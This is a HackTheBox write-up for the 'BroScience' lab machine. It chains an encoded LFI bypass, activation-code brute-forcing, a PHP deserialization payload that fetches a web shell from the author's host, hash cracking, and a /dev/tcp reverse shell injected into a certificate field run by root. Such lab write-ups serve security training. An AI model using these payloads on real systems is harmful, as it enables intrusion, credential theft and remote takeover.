Introduction
Welcome to our new HackTheBox write-up! In this article, we will guide you through the steps we took to successfully compromise the targeted machine.
BroScience is an Medium Linux machine.
External Recon
Let’s do some recon !
Nmap scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
└─$ nmap 10.10.11.195 -T4 -A -p- -Pn
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 df17c6bab18222d91db5ebff5d3d2cb7 (RSA)
| 256 3f8a56f8958faeafe3ae7eb880f679d2 (ECDSA)
|_ 256 3c6575274ae2ef9391374cfdd9d46341 (ED25519)
80/tcp open http Apache httpd 2.4.54
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Did not follow redirect to https://broscience.htb/
443/tcp open ssl/http Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Not valid before: 2022-07-14T19:48:36
|_Not valid after: 2023-07-14T19:48:36
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: BroScience : Home
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
Here we face a linux machine with an HTTP/HTTPS web server. IP address redirect to the domain broscience.htb
, we can add it to /etc/hosts
file.
Website recon
Website is running Apache version 2.4.54. As the website is using HTTPS, we can retrive the administrator email address on the certificate: administrator@broscience.htb
.
On the index we can see 8 articles that can be reach using the article ID: https://broscience.htb/exercise.php?id=1. Maybe LFIs are possible.
There is also a login page at https://broscience.htb/login.php. We can create an account on the website.
On each article, there is a comment section where users can post comment. From the comment section and article author we discover 4 users:
All accounts are enabled and only administrator
has admin privileges.
Subdomains fuzzing
I tried using ffuf
to discover some new subdomains.
1
|
└─$ ffuf -w /usr/share/wordlists/subdomains-top1mil.txt -H "Host: FUZZ.broscience.htb" -u http://10.10.11.195 -fc 301 -t 200
|
But I can’t find any.
Searching for article or users
Again, using ffuf
, I tried to enumerate articles and users. To do so, I create a liste of number from 1 to 500 and tried all IDs of both pages:
https://broscience.htb/user.php
https://broscience.htb/exercise.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
# enumerate articles
└─$ ffuf -w enum.txt -u "https://broscience.htb/exercise.php?id=FUZZ" -fs 1320,1330
1 [Status: 200, Size: 4455, Words: 1668, Lines: 72, Duration: 112ms]
2 [Status: 200, Size: 2764, Words: 808, Lines: 48, Duration: 101ms]
3 [Status: 200, Size: 3537, Words: 1194, Lines: 58, Duration: 78ms]
4 [Status: 200, Size: 3428, Words: 1169, Lines: 58, Duration: 113ms]
5 [Status: 200, Size: 2791, Words: 811, Lines: 48, Duration: 57ms]
6 [Status: 200, Size: 3466, Words: 1174, Lines: 58, Duration: 72ms]
7 [Status: 200, Size: 2812, Words: 815, Lines: 48, Duration: 86ms]
8 [Status: 200, Size: 3507, Words: 1186, Lines: 58, Duration: 84ms]
# enumerate users
└─$ ffuf -w enum.txt -u "https://broscience.htb/user.php?id=FUZZ" -fs 1307,1330
1 [Status: 200, Size: 1992, Words: 720, Lines: 46, Duration: 258ms]
2 [Status: 200, Size: 1964, Words: 720, Lines: 46, Duration: 218ms]
3 [Status: 200, Size: 1973, Words: 720, Lines: 46, Duration: 234ms]
4 [Status: 200, Size: 1963, Words: 720, Lines: 46, Duration: 235ms]
5 [Status: 200, Size: 1969, Words: 720, Lines: 46, Duration: 248ms]
|
Here, we don’t find any new articles but we find a new user with ID 5 ! The user is:
Account creation
Finally, I tried to create an account but it need to be activated from the link sent in email.
The page used to activate an account is https://broscience.htb/activate.php, but we need to provide the activation code.
Directory enumeration
Using dirbuster
I found some directories.
Path to the user
First, I try to bypass the authentication using SQL injections but it failed :(
Then, as we have some user I try to bruteforce there login using common passwords. But as SQL injection it failed.
Trying LFI
Then, I tried LFI on the id=
parameters of exercise.php
& user.php
but we get an ID error.
I discovered that images are get from img.php
in the includes directory. I tried LFI on the path=
parameter.
1
2
3
4
5
6
7
8
9
10
|
GET /includes/img.php?path=..%2flogin.php HTTP/1.1
HTTP/1.1 200 OK
Date: Wed, 25 Jan 2023 21:37:29 GMT
Server: Apache/2.4.54 (Debian)
Content-Length: 30
Connection: close
Content-Type: text/html; charset=UTF-8
<b>Error:</b> Attack detected.
|
But we get an error: Attack detected. So LFI works here, we just need to find a way to bypass the filter.
Exploiting the LFI
Checking at Hacktricks LFI bypass I found that double encoding is working.
1
2
3
4
5
6
7
8
9
10
|
└─$ curl --insecure "https://broscience.htb/includes/img.php?path=..%252flogin.php"
<?php
session_start();
// Check if user is logged in already
if (isset($_SESSION['id'])) {
header('Location: /index.php');
}
[...]
|
We can now get all source code. At this point I manage to try to find how activation code are generated to try to bruteforce our own code.
:mag_right: Complete php files can be found in appendix
First, I check the register.php
file. The creation of the activation code are made from the generate_activation_code()
function that is present on the utils.php
file.
1
2
3
|
// Create the account
include_once 'includes/utils.php';
$activation_code = generate_activation_code();
|
Retrieving the code from utils.php
page.
1
2
3
4
5
6
7
8
9
|
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
|
So activation code is 32 characters long. It is composed of letters and numbers only. The srand(time())
function is used to initialise the random number generator with a random value, here the machine’s system time. Then, it takes one character from the list 32 times.
I also check the db_connect.php
file.
1
2
3
4
5
6
7
8
|
└─$ curl --insecure "https://broscience.htb/includes/img.php?path=..%252fincludes%252fdb_connect.php"
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";
|
Here, we get several interesting informations:
- Database name: broscience
- Database user: dbuser
- Database password: RangeOfMotion%777
- Salt: NaCl
We can also get the /etc/passwd
file.
1
2
3
4
5
|
└─$ curl --insecure "https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252fetc%252fpasswd"
root:x:0:0:root:/root:/bin/bash
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
[...]
|
Generate an activation code
The rand()
function is not secure. If we enter the same integer in the srand()
function we will be able to recreate the same activation code by running the same code. I generate a list of activation code using a range of time on srand()
.
1
2
3
4
5
6
7
8
9
10
|
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
$file = fopen("brute.txt","a",1);
for ($y = 1674686000; $y < 1674696000; $y++) {
srand($y);
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
fwrite($file,$activation_code.PHP_EOL);
}
|
Going back at register.php
we found that activation code can be validated with the code=
parameter.
1
|
$activation_link = "https://broscience.htb/activate.php?code={$activation_code}";
|
We can take our list and try to bruteforce activation code.
1
|
└─$ ffuf -w brute.txt -u "https://broscience.htb/activate.php?code=FUZZ" -t 200 -fs 1256
|
Then I tried to connect into the account and it works! We can now send comments on posts. We also have a theme button that can switch between dark and white theme.
Deserialization attacks
The set_theme()
function of utils.php
that is use while changing theme on the website is vulnerable to deserialization attacks. The issue is that the set_theme()
function takes an arbitrary user-supplied value, which is passed to the UserPrefs
class and then serialized and stored in a cookie. An attacker could craft a malicious UserPrefs
object and pass it to the set_theme()
function, which would be deserialized and executed on the server.
But I didn’t make it. The AvatarInterface
class also seems to be vulnerable. The AvatarInterface
class has a __wakeup()
method which is executed when the class is deserialized, which in turn creates an instance of the Avatar
class, and calling the save()
method with a user-supplied $tmp
variable, which could allow an attacker to overwrite any file on the server with the contents of a file specified by the $tmp
variable.
- I create locally a php-reverse-shell file. I use the pentestmonkey php reverse-shell. Then, I open a python server.
- Then, I create the following php file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
$payload = new AvatarInterface();
$payload->tmp = 'http://10.10.16.9:8000/cmd.php';
$payload->imgPath = '/var/www/html/cmd.php';
$payload = base64_encode(serialize($payload));
print($payload);
TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czozMDoiaHR0cDovLzEwLjEwLjE2Ljk6ODAwMC9jbWQucGhwIjtzOjc6ImltZ1BhdGgiO3M6MjE6Ii92YXIvd3d3L2h0bWwvY21kLnBocCI7fQ==
|
This one:
- creates an instance of the AvatarInterface class;
- set the
tmp
variable to the address of my reverse-shell file (the pentestmonkey php reverse-shell file);
- set the
imgPath
variable to the path where the file will be written;
- serialize and base64 encode.
- We send our payload in the
user-prefs
header using curl
or Burp (be sure to be logged)
1
2
3
4
5
|
GET /index.php HTTP/1.1
Host: broscience.htb
Cookie: PHPSESSID=ipefdpjh2o8uklsu7qbhkjdbns; user-prefs=Tzo4OiJVc2VyUHJlZnMiOjE6e3M6NToidGhlbWUiO3M6MjA6Ijw%2fcGhwIGZpbGVfcHV0X2NvbnRlbnRzKCdjb25maWcucGhwJywgJzw%2fcGhwIGVjaG8gc2hlbGxfZXhlYygkX0dFVFsnY21kJ10pOz8%2bJyk7ID8%2bIjt9
[...]
Connection: close
|
Our file is now saved on the machine at /var/www/html/cmd.php
.
- Open a listener on the attacking machine (listen on the port set in the reverse-shell)
- Browse into the saved file at https://broscience.htb/cmd.php
And you should get a reverse shell !
Path to privesc
Path to bill
Database dumping
Now that we are in, we should connect into the database using credentials found earlier: dbuser:RangeOfMotion%777
1
2
3
4
5
6
7
8
|
www-data@broscience:/$ psql -h localhost -U dbuser -d broscience -p 5432
Password for user dbuser: RangeOfMotion%777
psql (13.9 (Debian 13.9-0+deb11u1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.
broscience=>
|
Then, we check tables and try to found password or hashes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
# list tables
broscience=> \d
Schema | Name | Type | Owner
--------+------------------+----------+----------
public | comments | table | postgres
public | comments_id_seq | sequence | postgres
public | exercises | table | postgres
public | exercises_id_seq | sequence | postgres
public | users | table | postgres
public | users_id_seq | sequence | postgres
broscience=> selectselect * from users;
id | username | password | email | activation_code | is_activated | is_admin | date_created
----+---------------+----------------------------------+------------------------------+----------------------------------+--------------+----------+-------------------------------
1 | administrator | 15657792073e8a843d4f91fc403454e1 | administrator@broscience.htb | OjYUyL9R4NpM9LOFP0T4Q4NUQ9PNpLHf | t | t | 2019-03-07 02:02:22.226763-05
2 | bill | 13edad4932da9dbb57d9cd15b66ed104 | bill@broscience.htb | WLHPyj7NDRx10BYHRJPPgnRAYlMPTkp4 | t | f | 2019-05-07 03:34:44.127644-04
3 | michael | bd3dad50e2d578ecba87d5fa15ca5f85 | michael@broscience.htb | zgXkcmKip9J5MwJjt8SZt5datKVri9n3 | t | f | 2020-10-01 04:12:34.732872-04
4 | john | a7eed23a7be6fe0d765197b1027453fe | john@broscience.htb | oGKsaSbjocXb3jwmnx5CmQLEjwZwESt6 | t | f | 2021-09-21 11:45:53.118482-04
5 | dmytro | 5d15340bded5b9395d5d14b9c21bc82b | dmytro@broscience.htb | 43p9iHX6cWjr9YhaUNtWxEBNtpneNMYm | t | f | 2021-08-13 10:34:36.226763-04
|
Crack hashes
We got hashes of users. We know that they are saved using MD5 + salt: md5($db_salt . $_POST['password'])
. We can use hashcat to crack those. We found the salt in the db_connect.php
file. It is NaCl
.
Hash list
1
2
3
4
5
|
15657792073e8a843d4f91fc403454e1:NaCl
13edad4932da9dbb57d9cd15b66ed104:NaCl
bd3dad50e2d578ecba87d5fa15ca5f85:NaCl
a7eed23a7be6fe0d765197b1027453fe:NaCl
5d15340bded5b9395d5d14b9c21bc82b:NaCl
|
Crack the hash using hashcat
:
1
2
3
4
|
└─$ hashcat -a 0 -m 20 hash /usr/share/wordlists/rockyou.txt --quiet
13edad4932da9dbb57d9cd15b66ed104:NaCl:iluvhorsesandgym # This is bill
5d15340bded5b9395d5d14b9c21bc82b:NaCl:Aaronthehottest # This is dmytro
bd3dad50e2d578ecba87d5fa15ca5f85:NaCl:2applesplus2apples # This is michael
|
We can now connect as bill into SSH. We can get the user flag :)
1
2
|
bill@broscience:~$ cat user.txt
************************46f081c1
|
Path to root
Local recon
I run a linpeas.sh
scan. But I can’t find any interesting information at first sight. There is not local service running. bill
can’t use sudo
command on the machine. I only find a bash script at /opt/renew_cert.sh
owned by root.
I manage to upload a pspy binary on the server to see if they are commands that are executed from root
user in background.
1
2
3
4
|
bill@broscience:/tmp$ ./pspy32
2023/01/26 17:02:02 CMD: UID=0 PID=1731 | /bin/bash /opt/renew_cert.sh /home/bill/Certs/broscience.crt
2023/01/26 17:02:02 CMD: UID=0 PID=1730 | timeout 10 /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt
|
Interesting, root
is running the script. Inspecting the script we found that a command injection can be done on the certificate Common Name
field.
I reuse the command use by the script to generate a certificate and I inject a reverse shell bash code on the Common Name
field.
1
2
3
4
5
6
7
8
9
10
11
12
|
bill@broscience:~/Certs$ openssl req -x509 -newkey rsa:2048 -keyout broscience.key -out broscience.htb -days 365 -nodes
Generating a RSA private key
.............................
writing new private key to 'broscience.key'
[...]
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:$(/bin/sh -i >& /dev/tcp/10.10.16.5/5555 0>&1)
Email Address []:
|
Then, I opened up a listener on my machine and wait root to execute the script.
1
2
3
4
5
6
7
8
9
|
└─$ rlwrap nc -lvnp 5555
listening on [any] 5555 ...
id
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.195] 60412
/bin/sh: 0: can't access tty; job control turned off
# uid=0(root) gid=0(root) groups=0(root)
# cd /root
# cat root.txt
***************************ae812
|
We can get the root flag :)
Appendix
register.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
|
session_start();
// Check if user is logged in already
if (isset($_SESSION['id'])) {
header('Location: /index.php');
}
// Handle a submitted register form
if (isset($_POST['username']) && isset($_POST['email']) && isset($_POST['password']) && isset($_POST['password-confirm'])) {
// Check if variables are empty
if (!empty($_POST['username']) && !empty($_POST['email']) && !empty($_POST['password']) && !empty($_POST['password-confirm'])) {
// Check if passwords match
if (strcmp($_POST['password'], $_POST['password-confirm']) == 0) {
// Check if email is too long
if (strlen($_POST['email']) <= 100) {
// Check if email is valid
if (filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) {
// Check if username is valid
if (strlen($_POST['username']) <= 100) {
// Check if user exists already
include_once 'includes/db_connect.php';
$res = pg_prepare($db_conn, "check_username_query", 'SELECT id FROM users WHERE username = $1');
$res = pg_execute($db_conn, "check_username_query", array($_POST['username']));
if (pg_num_rows($res) == 0) {
// Check if email is registered already
$res = pg_prepare($db_conn, "check_email_query", 'SELECT id FROM users WHERE email = $1');
$res = pg_execute($db_conn, "check_email_query", array($_POST['email']));
if (pg_num_rows($res) == 0) {
// Create the account
include_once 'includes/utils.php';
$activation_code = generate_activation_code();
$res = pg_prepare($db_conn, "check_code_unique_query", 'SELECT id FROM users WHERE activation_code = $1');
$res = pg_execute($db_conn, "check_code_unique_query", array($activation_code));
if (pg_num_rows($res) == 0) {
$res = pg_prepare($db_conn, "create_user_query", 'INSERT INTO users (username, password, email, activation_code) VALUES ($1, $2, $3, $4)');
$res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));
// TODO: Send the activation link to email
$activation_link = "https://broscience.htb/activate.php?code={$activation_code}";
$alert = "Account created. Please check your email for the activation link.";
$alert_type = "success";
} else {
$alert = "Failed to generate a valid activation code, please try again.";
}
} else {
$alert = "An account with this email already exists.";
}
}
else {
$alert = "Username is already taken.";
}
} else {
$alert = "Maximum username length is 100 characters.";
}
} else {
$alert = "Please enter a valid email address.";
}
} else {
$alert = "Maximum email length is 100 characters.";
}
} else {
$alert = "Passwords do not match.";
}
} else {
$alert = "Please fill all fields in.";
}
}
|
activate.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
session_start();
// Check if user is logged in already
if (isset($_SESSION['id'])) {
header('Location: /index.php');
}
if (isset($_GET['code'])) {
// Check if code is formatted correctly (regex)
if (preg_match('/^[A-z0-9]{32}$/', $_GET['code'])) {
// Check for code in database
include_once 'includes/db_connect.php';
$res = pg_prepare($db_conn, "check_code_query", 'SELECT id, is_activated::int FROM users WHERE activation_code=$1');
$res = pg_execute($db_conn, "check_code_query", array($_GET['code']));
if (pg_num_rows($res) == 1) {
// Check if account already activated
$row = pg_fetch_row($res);
if (!(bool)$row[1]) {
// Activate account
$res = pg_prepare($db_conn, "activate_account_query", 'UPDATE users SET is_activated=TRUE WHERE id=$1');
$res = pg_execute($db_conn, "activate_account_query", array($row[0]));
$alert = "Account activated!";
$alert_type = "success";
} else {
$alert = 'Account already activated.';
}
} else {
$alert = "Invalid activation code.";
}
} else {
$alert = "Invalid activation code.";
}
} else {
$alert = "Missing activation code.";
}
|
utils.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
|
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
// Source: https://stackoverflow.com/a/4420773 (Slightly adapted)
function rel_time($from, $to = null) {
$to = (($to === null) ? (time()) : ($to));
$to = ((is_int($to)) ? ($to) : (strtotime($to)));
$from = ((is_int($from)) ? ($from) : (strtotime($from)));
$units = array
(
"year" => 29030400, // seconds in a year (12 months)
"month" => 2419200, // seconds in a month (4 weeks)
"week" => 604800, // seconds in a week (7 days)
"day" => 86400, // seconds in a day (24 hours)
"hour" => 3600, // seconds in an hour (60 minutes)
"minute" => 60, // seconds in a minute (60 seconds)
"second" => 1 // 1 second
);
$diff = abs($from - $to);
if ($diff < 1) {
return "Just now";
}
$suffix = (($from > $to) ? ("from now") : ("ago"));
$unitCount = 0;
$output = "";
foreach($units as $unit => $mult)
if($diff >= $mult && $unitCount < 1) {
$unitCount += 1;
// $and = (($mult != 1) ? ("") : ("and "));
$and = "";
$output .= ", ".$and.intval($diff / $mult)." ".$unit.((intval($diff / $mult) == 1) ? ("") : ("s"));
$diff -= intval($diff / $mult) * $mult;
}
$output .= " ".$suffix;
$output = substr($output, strlen(", "));
return $output;
}
class UserPrefs {
public $theme;
public function __construct($theme = "light") {
$this->theme = $theme;
}
}
function get_theme() {
if (isset($_SESSION['id'])) {
if (!isset($_COOKIE['user-prefs'])) {
$up_cookie = base64_encode(serialize(new UserPrefs()));
setcookie('user-prefs', $up_cookie);
} else {
$up_cookie = $_COOKIE['user-prefs'];
}
$up = unserialize(base64_decode($up_cookie));
return $up->theme;
} else {
return "light";
}
}
function get_theme_class($theme = null) {
if (!isset($theme)) {
$theme = get_theme();
}
if (strcmp($theme, "light")) {
return "uk-light";
} else {
return "uk-dark";
}
}
function set_theme($val) {
if (isset($_SESSION['id'])) {
setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));
}
}
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
|
renew_cert.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
|
#!/bin/bash
if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
echo "Usage: $0 certificate.crt";
exit 0;
fi
if [ -f $1 ]; then
openssl x509 -in $1 -noout -checkend 86400 > /dev/null
if [ $? -eq 0 ]; then
echo "No need to renew yet.";
exit 1;
fi
subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)
country=$(echo $subject | grep -Eo 'C = .{2}')
state=$(echo $subject | grep -Eo 'ST = .*,')
locality=$(echo $subject | grep -Eo 'L = .*,')
organization=$(echo $subject | grep -Eo 'O = .*,')
organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
commonName=$(echo $subject | grep -Eo 'CN = .*,?')
emailAddress=$(openssl x509 -in $1 -noout -email)
country=${country:4}
state=$(echo ${state:5} | awk -F, '{print $1}')
locality=$(echo ${locality:3} | awk -F, '{print $1}')
organization=$(echo ${organization:4} | awk -F, '{print $1}')
organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
commonName=$(echo ${commonName:5} | awk -F, '{print $1}')
echo $subject;
echo "";
echo "Country => $country";
echo "State => $state";
echo "Locality => $locality";
echo "Org Name => $organization";
echo "Org Unit => $organizationUnit";
echo "Common Name => $commonName";
echo "Email => $emailAddress";
echo -e "\nGenerating certificate...";
openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
$state
$locality
$organization
$organizationUnit
$commonName
$emailAddress
" 2>/dev/null
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
echo "File doesn't exist"
exit 1;
fi
|